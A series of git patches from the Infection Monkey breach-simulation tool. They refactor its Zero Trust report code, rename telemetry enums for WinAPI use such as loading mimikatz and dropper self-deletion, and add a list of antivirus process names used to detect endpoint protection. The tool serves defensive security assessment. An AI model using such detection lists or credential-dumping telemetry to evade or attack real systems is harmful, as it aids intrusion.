instance.", + TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_CONCLUSIVE: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", + STATUS_POSITIVE: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." + }, DIRECTIVE_KEY: DIRECTIVE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, TEST_DATA_ENDPOINT_HTTP: { - EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", - FINDING_FORMAT_KEY: u"The Monkey on {ORIGIN} found an open HTTP server.", + TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_CONCLUSIVE: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", + STATUS_POSITIVE: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." + }, DIRECTIVE_KEY: DIRECTIVE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] diff --git a/monkey/monkey_island/cc/models/finding.py b/monkey/monkey_island/cc/models/finding.py index 5ee014cfb..77160534f 100644 --- a/monkey/monkey_island/cc/models/finding.py +++ b/monkey/monkey_island/cc/models/finding.py @@ -4,7 +4,7 @@ Define a Document Schema for Zero Trust findings. from mongoengine import Document, StringField, EmbeddedDocumentListField -from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY +from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from event import Event @@ -24,7 +24,7 @@ class Finding(Document): # LOGIC def get_test_explanation(self): - return TESTS_MAP[self.test][EXPLANATION_KEY] + return TESTS_MAP[self.test][TEST_EXPLANATION_KEY] def get_pillars(self): return TESTS_MAP[self.test][PILLARS_KEY] diff --git a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py index 7e7df7ad0..6ec2651a0 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py +++ b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py @@ -110,88 +110,88 @@ class TestZeroTrustService(IslandTestCase): AUTOMATION_ORCHESTRATION: [], DATA: [ { - "directive": DIRECTIVE_DATA_TRANSIT, + "directive": DIRECTIVES[DIRECTIVE_DATA_TRANSIT], "status": STATUS_CONCLUSIVE, "tests": [ { "status": STATUS_UNEXECUTED, - "test": TEST_DATA_ENDPOINT_ELASTIC + "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] }, { "status": STATUS_CONCLUSIVE, - "test": TEST_DATA_ENDPOINT_HTTP + "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] } ] } ], DEVICES: [ { - "directive": "endpoint_security", - "status": "Conclusive", + "directive": DIRECTIVES[DIRECTIVE_ENDPOINT_SECURITY], + "status": STATUS_CONCLUSIVE, "tests": [ { - "status": "Conclusive", - "test": "endpoint_security_exists" + "status": STATUS_CONCLUSIVE, + "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] }, { - "status": "Unexecuted", - "test": "machine_exploited" + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] } ] } ], NETWORKS: [ { - "directive": "segmentation", - "status": "Unexecuted", + "directive": DIRECTIVES[DIRECTIVE_SEGMENTATION], + "status": STATUS_UNEXECUTED, "tests": [ { - "status": "Unexecuted", - "test": "segmentation" + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY] } ] }, { - "directive": "user_behaviour", + "directive": DIRECTIVES[DIRECTIVE_USER_BEHAVIOUR], "status": STATUS_INCONCLUSIVE, "tests": [ { "status": STATUS_INCONCLUSIVE, - "test": TEST_SCHEDULED_EXECUTION + "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] }, { - "directive": "analyze_network_traffic", - "status": "Unexecuted", + "directive": DIRECTIVES[DIRECTIVE_ANALYZE_NETWORK_TRAFFIC], + "status": STATUS_UNEXECUTED, "tests": [ { - "status": "Unexecuted", - "test": "malicious_activity_timeline" + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] } ], PEOPLE: [ { - "directive": "user_behaviour", + "directive": DIRECTIVES[DIRECTIVE_USER_BEHAVIOUR], "status": STATUS_INCONCLUSIVE, "tests": [ { "status": STATUS_INCONCLUSIVE, - "test": TEST_SCHEDULED_EXECUTION + "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] } ], "Visibility & Analytics": [ { - "directive": DIRECTIVE_ANALYZE_NETWORK_TRAFFIC, + "directive": DIRECTIVES[DIRECTIVE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { "status": STATUS_UNEXECUTED, - "test": TEST_ACTIVITY_TIMELINE + "test": TESTS_MAP[TEST_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] } diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index bf2b9d6e8..1aa7291ed 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -50,7 +50,7 @@ class ZeroTrustService(object): for pillar in DIRECTIVES_TO_PILLARS[directive]: all_directive_statuses[pillar].append( { - "directive": directive, + "directive": DIRECTIVES[directive], "tests": ZeroTrustService.__get_tests_status(directive_tests), "status": ZeroTrustService.__get_directive_status(directive_tests) } @@ -78,7 +78,7 @@ class ZeroTrustService(object): test_findings = Finding.objects(test=test) results.append( { - "test": test, + "test": TESTS_MAP[test][TEST_EXPLANATION_KEY], "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) } ) @@ -104,7 +104,7 @@ class ZeroTrustService(object): test_info = TESTS_MAP[finding.test] enriched_finding = { # TODO add test explanation per status. - "test": test_info[EXPLANATION_KEY], + "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], "pillars": test_info[PILLARS_KEY], "status": finding.status, "events": ZeroTrustService.__get_events_as_dict(finding.events) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js index 8b82761cc..ad1a815cb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js @@ -19,6 +19,7 @@ const columns = [ } }, { Header: 'Tests', id: 'tests', + style: {'whiteSpace': 'unset'}, // This enables word wrap accessor: x => { return ; } From 32a346fdcf41032d841f0adc8168d7dba772824d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 18 Aug 2019 09:41:57 +0300 Subject: [PATCH 090/276] Fixed missing pillar status (for label color) --- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 3 ++- .../zerotrust/SinglePillarDirectivesStatus.js | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 0f0326f14..21b1a7e3b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -85,7 +85,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { + directivesStatus={this.state.directives[pillar]} + pillarsToStatuses={this.state.pillars.pillarsToStatuses}/> ) }
    ; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js index dad36d025..feb56b204 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js @@ -13,7 +13,7 @@ export class SinglePillarDirectivesStatus extends AuthComponent { else { return ( -

    +

    ); From 7eab8687c1d5d926d757696f5cd127991d2d867b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 09:16:14 +0300 Subject: [PATCH 091/276] Fixed bug created during merge, fixed typos in attack telemetries for usage. --- monkey/common/utils/attack_utils.py | 10 ++++------ monkey/infection_monkey/dropper.py | 2 +- .../infection_monkey/system_info/mimikatz_collector.py | 2 +- monkey/infection_monkey/system_singleton.py | 2 +- .../infection_monkey/telemetry/attack/usage_telem.py | 4 ++-- 5 files changed, 9 insertions(+), 11 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index ac3f2f66b..708bc8f3c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -18,12 +18,10 @@ class UsageEnum(Enum): MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} - MIMIKATZ_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", - ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz, but failed."} - SINGLETON_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", - ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" - " for monkey process wasn't successful."} - DROPPER_FILE_COPY = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful."} + DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} # Dict that describes what BITS job was used for diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 6b8e969c0..7c576fc30 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -158,6 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) - T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_FILE_COPY).send() + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index c0632a09e..2951b7ebc 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -55,8 +55,8 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED + T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send() T1129Telem(status, UsageEnum.MIMIKATZ).send() - T1106Telem(status, UsageEnum.MIMIKATZ_FILE_COPY).send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index a1c8762cd..50fa6363b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -59,7 +59,7 @@ class WindowsSystemSingleton(_SystemSingleton): if not status: status = ScanStatus.USED - T1106Telem(status, UsageEnum.SINGLETON_FILE_COPY).send() + T1106Telem(status, UsageEnum.SINGLETON_WINAPI).send() if status == ScanStatus.SCANNED: return False diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 4b47d8be3..2d7cb548e 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -7,10 +7,10 @@ class UsageTelem(AttackTelem): """ :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Enum of UsageEnum type + :param usage: Usage string """ super(UsageTelem, self).__init__(technique, status) - self.usage = usage.name + self.usage = usage def get_data(self): data = super(UsageTelem, self).get_data() From 73a6cb22b6b84fdc3fce58909e4337e6bb5ae9e1 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 11:39:12 +0300 Subject: [PATCH 092/276] Extracted antivirus ZTtest to different file in a new module under services. --- .../monkey_island/cc/resources/telemetry.py | 35 ++---------------- .../cc/services/zero_trust_tests/__init__.py | 0 .../zero_trust_tests/antivirus_existence.py | 36 +++++++++++++++++++ 3 files changed, 38 insertions(+), 33 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust_tests/__init__.py create mode 100644 monkey/monkey_island/cc/services/zero_trust_tests/antivirus_existence.py diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index fc2648589..c89f91a85 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -7,12 +7,8 @@ import dateutil import flask_restful from flask import request -from common.data.zero_trust_consts import TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, STATUS_CONCLUSIVE, \ - EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, ANTI_VIRUS_KNOWN_PROCESS_NAMES from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.models.event import Event -from monkey_island.cc.models.finding import Finding from monkey_island.cc.services import mimikatz_utils from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService @@ -20,6 +16,7 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.encryptor import encryptor from monkey_island.cc.services.wmi_handler import WMIHandler from monkey_island.cc.models.monkey import Monkey +from monkey_island.cc.services.zero_trust_tests.antivirus_existence import test_antivirus_existence __author__ = 'Barak' @@ -185,35 +182,7 @@ class Telemetry(flask_restful.Resource): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') Telemetry.process_mimikatz_and_wmi_info(monkey_id, telemetry_json) Telemetry.process_aws_data(monkey_id, telemetry_json) - Telemetry.test_antivirus_existence(telemetry_json, monkey_id) - - @staticmethod - def test_antivirus_existence(telemetry_json, monkey_id): - if 'process_list' in telemetry_json['data']: - process_list_event = Event.create_event( - title="Process list", - message="Monkey {} scanned the process list".format(monkey_id), - event_type=EVENT_TYPE_MONKEY_LOCAL) - events = [process_list_event] - - found_av = False - all_processes = telemetry_json['data']['process_list'].items() - for process in all_processes: - process_name = process[1]['name'] - if process_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES: - found_av = True - events.append(Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: ".format(process_name, str(process)), - event_type=EVENT_TYPE_ISLAND - )) - - if found_av: - test_status = STATUS_POSITIVE - else: - test_status = STATUS_CONCLUSIVE - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) + test_antivirus_existence(telemetry_json) @staticmethod def process_mimikatz_and_wmi_info(monkey_id, telemetry_json): diff --git a/monkey/monkey_island/cc/services/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/zero_trust_tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/zero_trust_tests/antivirus_existence.py new file mode 100644 index 000000000..f18e28a1a --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust_tests/antivirus_existence.py @@ -0,0 +1,36 @@ +import json + +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, ANTI_VIRUS_KNOWN_PROCESS_NAMES, EVENT_TYPE_ISLAND, \ + STATUS_POSITIVE, STATUS_CONCLUSIVE, TEST_ENDPOINT_SECURITY_EXISTS +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.event import Event +from monkey_island.cc.models.finding import Finding + + +def test_antivirus_existence(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + if 'process_list' in telemetry_json['data']: + process_list_event = Event.create_event( + title="Process list", + message="Monkey on {} scanned the process list".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_LOCAL) + events = [process_list_event] + + found_av = False + all_processes = telemetry_json['data']['process_list'].items() + for process in all_processes: + process_name = process[1]['name'] + if process_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES: + found_av = True + events.append(Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process_name, json.dumps(process[1])), + event_type=EVENT_TYPE_ISLAND + )) + + if found_av: + test_status = STATUS_POSITIVE + else: + test_status = STATUS_CONCLUSIVE + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) \ No newline at end of file From ba1667372b0e839dee1b100b313b5a8dedc2f747 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 11:41:04 +0300 Subject: [PATCH 093/276] create telemetry services directory - soon all the telemetry resources functions will be moved there. --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- .../cc/services/{zero_trust_tests => telemetry}/__init__.py | 0 .../cc/services/telemetry/zero_trust_tests/__init__.py | 0 .../{ => telemetry}/zero_trust_tests/antivirus_existence.py | 0 4 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/cc/services/{zero_trust_tests => telemetry}/__init__.py (100%) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py rename monkey/monkey_island/cc/services/{ => telemetry}/zero_trust_tests/antivirus_existence.py (100%) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index c89f91a85..fb8116c14 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -16,7 +16,7 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.encryptor import encryptor from monkey_island.cc.services.wmi_handler import WMIHandler from monkey_island.cc.models.monkey import Monkey -from monkey_island.cc.services.zero_trust_tests.antivirus_existence import test_antivirus_existence +from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/services/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust_tests/__init__.py rename to monkey/monkey_island/cc/services/telemetry/__init__.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust_tests/antivirus_existence.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py From aaab4a479c5f65b9914dca20da992a02a5f4ed90 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 11:56:05 +0300 Subject: [PATCH 094/276] Added doc to consts file, and moved AV list to AV file --- monkey/common/data/zero_trust_consts.py | 15 ++-- .../zero_trust_tests/antivirus_existence.py | 77 ++++++++++++++++++- 2 files changed, 83 insertions(+), 9 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 05edc4faa..dbb28a991 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -1,3 +1,11 @@ +""" +This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and +in creating findings. + +This file contains static mappings between zero trust components such as: pillars, directives, tests, statuses. Some of +the mappings are computed when this module is loaded. +""" + AUTOMATION_ORCHESTRATION = u"Automation & Orchestration" VISIBILITY_ANALYTICS = u"Visibility & Analytics" WORKLOADS = u"Workloads" @@ -11,7 +19,7 @@ STATUS_UNEXECUTED = u"Unexecuted" STATUS_POSITIVE = u"Positive" STATUS_INCONCLUSIVE = u"Inconclusive" STATUS_CONCLUSIVE = u"Conclusive" -# Don't change order! +# Don't change order! The statuses are ordered by importance/severity. ORDERED_TEST_STATUSES = [STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED] TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" @@ -170,8 +178,3 @@ EVENT_TYPE_ISLAND = "island" EVENT_TYPE_MONKEY_NETWORK = "monkey_network" EVENT_TYPE_MONKEY_LOCAL = "monkey_local" EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) - -ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ - u"SSPService.exe", - u"ipython.exe" -] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index f18e28a1a..e272ae699 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,11 +1,81 @@ import json -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, ANTI_VIRUS_KNOWN_PROCESS_NAMES, EVENT_TYPE_ISLAND, \ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ STATUS_POSITIVE, STATUS_CONCLUSIVE, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey from monkey_island.cc.models.event import Event from monkey_island.cc.models.finding import Finding +ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ + u"AvastSvc.exe", + u"AvastUI.exe", + u"avcenter.exe", + u"avconfig.exe", + u"avgcsrvx.exe", + u"avgidsagent.exe", + u"avgnt.exe", + u"avgrsx.exe", + u"avguard.exe", + u"avgui.exe", + u"avgwdsvc.exe", + u"avp.exe", + u"avscan.exe", + u"bdagent.exe", + u"ccuac.exe", + u"egui.exe", + u"hijackthis.exe", + u"instup.exe", + u"keyscrambler.exe", + u"mbam.exe", + u"mbamgui.exe", + u"mbampt.exe", + u"mbamscheduler.exe", + u"mbamservice.exe", + u"MpCmdRun.exe", + u"MSASCui.exe", + u"MsMpEng.exe", + u"rstrui.exe", + u"spybotsd.exe", + u"zlclient.exe", + u"SymCorpUI.exe", + u"ccSvcHst.exe", + u"ccApp.exe", + u"LUALL.exe", + u"SMC.exe", + u"SMCgui.exe", + u"Rtvscan.exe", + u"LuComServer.exe", + u"ProtectionUtilSurrogate.exe", + u"ClientRemote.exe", + u"SemSvc.exe", + u"SemLaunchSvc.exe", + u"sesmcontinst.exe", + u"LuCatalog.exe", + u"LUALL.exe", + u"LuCallbackProxy.exe", + u"LuComServer_3_3.exe", + u"httpd.exe", + u"dbisqlc.exe", + u"dbsrv16.exe", + u"semapisrv.exe", + u"snac64.exe", + u"AutoExcl.exe", + u"DoScan.exe", + u"nlnhook.exe", + u"SavUI.exe", + u"SepLiveUpdate.exe", + u"Smc.exe", + u"SmcGui.exe", + u"SymCorpUI.exe", + u"symerr.exe", + u"ccSvcHst.exe", + u"DevViewer.exe", + u"DWHWizrd.exe", + u"RtvStart.exe", + u"roru.exe", + u"WSCSAvNotifier" +] + def test_antivirus_existence(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) @@ -20,7 +90,8 @@ def test_antivirus_existence(telemetry_json): all_processes = telemetry_json['data']['process_list'].items() for process in all_processes: process_name = process[1]['name'] - if process_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES: + # This is for case-insensitive in. Generator expression for memory savings. + if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): found_av = True events.append(Event.create_event( title="Found AV process", @@ -33,4 +104,4 @@ def test_antivirus_existence(telemetry_json): test_status = STATUS_POSITIVE else: test_status = STATUS_CONCLUSIVE - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) \ No newline at end of file + Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) From d693b216a7a058c589543309c65d861c404668ba Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 11:57:39 +0300 Subject: [PATCH 095/276] Removed unused files --- monkey/common/utils/itertools_extensions.py | 9 --------- monkey/common/utils/test_power_set.py | 18 ------------------ 2 files changed, 27 deletions(-) delete mode 100644 monkey/common/utils/itertools_extensions.py delete mode 100644 monkey/common/utils/test_power_set.py diff --git a/monkey/common/utils/itertools_extensions.py b/monkey/common/utils/itertools_extensions.py deleted file mode 100644 index b27181ff6..000000000 --- a/monkey/common/utils/itertools_extensions.py +++ /dev/null @@ -1,9 +0,0 @@ -from itertools import chain, combinations - - -def power_set(iterable): - """ - https://docs.python.org/3/library/itertools.html#itertools-recipes - """ - s = list(iterable) - return [list(x) for x in list(chain.from_iterable(combinations(s, r) for r in range(1, len(s) + 1)))] \ No newline at end of file diff --git a/monkey/common/utils/test_power_set.py b/monkey/common/utils/test_power_set.py deleted file mode 100644 index 22410fe30..000000000 --- a/monkey/common/utils/test_power_set.py +++ /dev/null @@ -1,18 +0,0 @@ -from unittest import TestCase - - -class TestPower_set(TestCase): - def test_power_set(self): - before = ('a', 'b', 'c') - after_expected = [ - ['a'], - ['b'], - ['c'], - ['a', 'b'], - ['a', 'c'], - ['b', 'c'], - ['a', 'b', 'c'], - ] - - from common.utils.itertools_extensions import power_set - self.assertEquals(power_set(before), after_expected) From d50095b570935bae9d948f361713bb0ac30f7727 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 12:03:42 +0300 Subject: [PATCH 096/276] Changed "general" report to "security" all over --- monkey/monkey_island/cc/app.py | 2 +- monkey/monkey_island/cc/resources/reporting/report.py | 8 ++++---- monkey/monkey_island/cc/ui/src/components/Main.js | 4 ++-- .../cc/ui/src/components/pages/ReportPage.js | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index f2c0e9ce1..35e932cb1 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -123,7 +123,7 @@ def init_api_resources(api): api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') - # report_type: zero_trust or general + # report_type: zero_trust or security api.add_resource( Report, '/api/report/', diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index aa13468a3..fa2973759 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -9,8 +9,8 @@ from monkey_island.cc.services.reporting.report import ReportService from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService ZERO_TRUST_REPORT_TYPE = "zero_trust" -GENERAL_REPORT_TYPE = "general" -REPORT_TYPES = [GENERAL_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] +SECURITY_REPORT_TYPE = "security" +REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" @@ -22,8 +22,8 @@ __author__ = ["itay.mizeretz", "shay.nehmad"] class Report(flask_restful.Resource): @jwt_required() - def get(self, report_type=GENERAL_REPORT_TYPE, report_data=None): - if report_type == GENERAL_REPORT_TYPE: + def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None): + if report_type == SECURITY_REPORT_TYPE: return ReportService.get_report() elif report_type == ZERO_TRUST_REPORT_TYPE: if report_data == REPORT_DATA_PILLARS: diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 5dd17659b..982791782 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -148,7 +148,7 @@ class AppComponent extends AuthComponent {
